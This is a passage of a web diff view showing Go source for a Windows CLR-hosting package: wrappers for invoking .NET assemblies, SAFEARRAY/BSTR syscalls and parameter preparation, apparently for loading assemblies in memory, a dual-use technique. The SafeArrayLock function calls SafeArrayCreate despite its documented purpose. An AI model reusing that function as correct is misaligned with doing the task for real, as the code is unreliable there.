err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Get the IErrorInfo object
|
||||
iErrorInfo, errG := GetErrorInfo()
|
||||
if errG != nil {
|
||||
err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG)
|
||||
return err
|
||||
}
|
||||
|
||||
// Read the IErrorInfo description
|
||||
desc, errD := iErrorInfo.GetDescription()
|
||||
if errD != nil {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD)
|
||||
return err
|
||||
}
|
||||
if desc == nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc)
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
if pRetVal != nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetString returns a string that represents the current object
|
||||
// a string version of the method's signature
|
||||
// public virtual string ToString ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString
|
||||
func (obj *MethodInfo) GetString() (str string, err error) {
|
||||
debugPrint("Entering into methodinfo.GetString()...")
|
||||
var object *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&object)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
str = ReadUnicodeStr(unsafe.Pointer(object))
|
||||
return
|
||||
}
|
||||
+340
@@ -0,0 +1,340 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// SafeArray represents a safe array
|
||||
// defined in OAIdl.h
|
||||
// typedef struct tagSAFEARRAY {
|
||||
// USHORT cDims;
|
||||
// USHORT fFeatures;
|
||||
// ULONG cbElements;
|
||||
// ULONG cLocks;
|
||||
// PVOID pvData;
|
||||
// SAFEARRAYBOUND rgsabound[1];
|
||||
// } SAFEARRAY;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
|
||||
// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure
|
||||
type SafeArray struct {
|
||||
// cDims is the number of dimensions
|
||||
cDims uint16
|
||||
// fFeatures is the feature flags
|
||||
fFeatures uint16
|
||||
// cbElements is the size of an array element
|
||||
cbElements uint32
|
||||
// cLocks is the number of times the array has been locked without a corresponding unlock
|
||||
cLocks uint32
|
||||
// pvData is the data
|
||||
pvData uintptr
|
||||
// rgsabout is one bound for each dimension
|
||||
rgsabound [1]SafeArrayBound
|
||||
}
|
||||
|
||||
// SafeArrayBound represents the bounds of one dimension of the array
|
||||
// typedef struct tagSAFEARRAYBOUND {
|
||||
// ULONG cElements;
|
||||
// LONG lLbound;
|
||||
// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound
|
||||
type SafeArrayBound struct {
|
||||
// cElements is the number of elements in the dimension
|
||||
cElements uint32
|
||||
// lLbound is the lowerbound of the dimension
|
||||
lLbound int32
|
||||
}
|
||||
|
||||
// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes
|
||||
// by making two syscalls and copying raw memory into the correct spot.
|
||||
func CreateSafeArray(rawBytes []byte) (*SafeArray, error) {
|
||||
debugPrint("Entering into safearray.CreateSafeArray()...")
|
||||
|
||||
safeArrayBounds := SafeArrayBound{
|
||||
cElements: uint32(len(rawBytes)),
|
||||
lLbound: int32(0),
|
||||
}
|
||||
|
||||
safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// now we need to use RtlCopyMemory to copy our bytes to the SafeArray
|
||||
modNtDll := syscall.MustLoadDLL("ntdll.dll")
|
||||
procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory")
|
||||
|
||||
// TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData
|
||||
|
||||
// void RtlCopyMemory(
|
||||
// void* Destination,
|
||||
// const void* Source,
|
||||
// size_t Length
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
|
||||
_, _, err = procRtlCopyMemory.Call(
|
||||
safeArray.pvData,
|
||||
uintptr(unsafe.Pointer(&rawBytes[0])),
|
||||
uintptr(len(rawBytes)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return safeArray, nil
|
||||
}
|
||||
|
||||
// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor.
|
||||
// SAFEARRAY * SafeArrayCreate(
|
||||
// VARTYPE vt,
|
||||
// UINT cDims,
|
||||
// SAFEARRAYBOUND *rgsabound
|
||||
// );
|
||||
// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate
|
||||
func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) {
|
||||
debugPrint("Entering into safearray.SafeArrayCreate()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
ret, _, err := procSafeArrayCreate.Call(
|
||||
uintptr(vt),
|
||||
uintptr(cDims),
|
||||
uintptr(unsafe.Pointer(rgsabound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
if ret == 0 {
|
||||
err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret)
|
||||
return
|
||||
}
|
||||
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
safeArray = (*SafeArray)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length.
|
||||
// Allocates a new string and copies the passed string into it.
|
||||
// It returns a pointer to the string's content.
|
||||
// BSTR SysAllocString(
|
||||
// const OLECHAR *psz
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
|
||||
func SysAllocString(str string) (unsafe.Pointer, error) {
|
||||
debugPrint("Entering into safearray.SysAllocString()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
sysAllocString := modOleAuto.MustFindProc("SysAllocString")
|
||||
|
||||
input := utf16Le(str)
|
||||
ret, _, err := sysAllocString.Call(
|
||||
uintptr(unsafe.Pointer(&input[0])),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
// TODO Return a pointer to a BSTR instead of an unsafe.Pointer
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return unsafe.Pointer(ret), nil
|
||||
}
|
||||
|
||||
// SafeArrayPutElement pushes an element to the safe array at a given index
|
||||
// HRESULT SafeArrayPutElement(
|
||||
// SAFEARRAY *psa,
|
||||
// LONG *rgIndices,
|
||||
// void *pv
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement
|
||||
func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error {
|
||||
debugPrint("Entering into safearray.SafeArrayPutElement()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement")
|
||||
|
||||
hr, _, err := safeArrayPutElement.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&rgIndices)),
|
||||
uintptr(pv),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor
|
||||
// HRESULT SafeArrayLock(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock
|
||||
func SafeArrayLock(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayLock()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa)))
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array
|
||||
// HRESULT SafeArrayGetVartype(
|
||||
// SAFEARRAY *psa,
|
||||
// VARTYPE *pvt
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype
|
||||
func SafeArrayGetVartype(psa *SafeArray) (uint16, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetVartype()...")
|
||||
|
||||
var vt uint16
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype")
|
||||
|
||||
hr, _, err := safeArrayGetVartype.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&vt)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return vt, nil
|
||||
}
|
||||
|
||||
// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data
|
||||
// HRESULT SafeArrayAccessData(
|
||||
// SAFEARRAY *psa,
|
||||
// void HUGEP **ppvData
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata
|
||||
func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayAccessData()...")
|
||||
|
||||
var ppvData *uintptr
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData")
|
||||
|
||||
hr, _, err := safeArrayAccessData.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&ppvData)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return ppvData, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetLBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plLbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound
|
||||
func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetLBound()...")
|
||||
var plLbound uint32
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound")
|
||||
|
||||
hr, _, err := safeArrayGetLBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plLbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plLbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetUBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plUbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound
|
||||
func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetUBound()...")
|
||||
|
||||
var plUbound uint32
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound")
|
||||
|
||||
hr, _, err := safeArrayGetUBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plUbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plUbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array.
|
||||
// If objects are stored in the array, Release is called on each object in the array.
|
||||
// HRESULT SafeArrayDestroy(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
func SafeArrayDestroy(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayDestroy()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy")
|
||||
|
||||
hr, _, err := safeArrayDestroy.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
var Debug = false
|
||||
|
||||
// checkOK evaluates a HRESULT code for a caller and determines if there was an error
|
||||
func checkOK(hr uintptr, caller string) error {
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("%s returned 0x%08x", caller, hr)
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// must forces the program to exit if there is an error using the log.Fatal command
|
||||
func must(err error) {
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func utf16Le(s string) []byte {
|
||||
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
var buf bytes.Buffer
|
||||
t := transform.NewWriter(&buf, enc)
|
||||
t.Write([]byte(s))
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
func expectsParams(input string) bool {
|
||||
return !strings.Contains(input, "Void Main()")
|
||||
}
|
||||
|
||||
// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value
|
||||
func ReadUnicodeStr(ptr unsafe.Pointer) string {
|
||||
debugPrint("Entering into utils.ReadUnicodeStr()...")
|
||||
var byteVal uint16
|
||||
out := make([]uint16, 0)
|
||||
for i := 0; ; i++ {
|
||||
byteVal = *(*uint16)(unsafe.Pointer(ptr))
|
||||
if byteVal == 0x0000 {
|
||||
break
|
||||
}
|
||||
out = append(out, byteVal)
|
||||
ptr = unsafe.Pointer(uintptr(ptr) + 2)
|
||||
}
|
||||
return string(utf16.Decode(out))
|
||||
}
|
||||
|
||||
// debugPrint is used to print messages only when debug has been enabled
|
||||
func debugPrint(message string) {
|
||||
if Debug {
|
||||
fmt.Println("[DEBUG] " + message)
|
||||
}
|
||||
}
|
||||
|
||||
// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself
|
||||
// appended to the final safe array
|
||||
func PrepareParameters(params []string) (*SafeArray, error) {
|
||||
sab := SafeArrayBound{
|
||||
cElements: uint32(len(params)),
|
||||
lLbound: 0,
|
||||
}
|
||||
listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i, p := range params {
|
||||
bstr, err := SysAllocString(p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr)
|
||||
}
|
||||
|
||||
paramVariant := Variant{
|
||||
VT: VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY
|
||||
Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)),
|
||||
}
|
||||
|
||||
sab2 := SafeArrayBound{
|
||||
cElements: uint32(1),
|
||||
lLbound: 0,
|
||||
}
|
||||
paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(¶mVariant))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return paramsSafeArrayPtr, nil
|
||||
}
|
||||
Loaded 100 of 1539 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user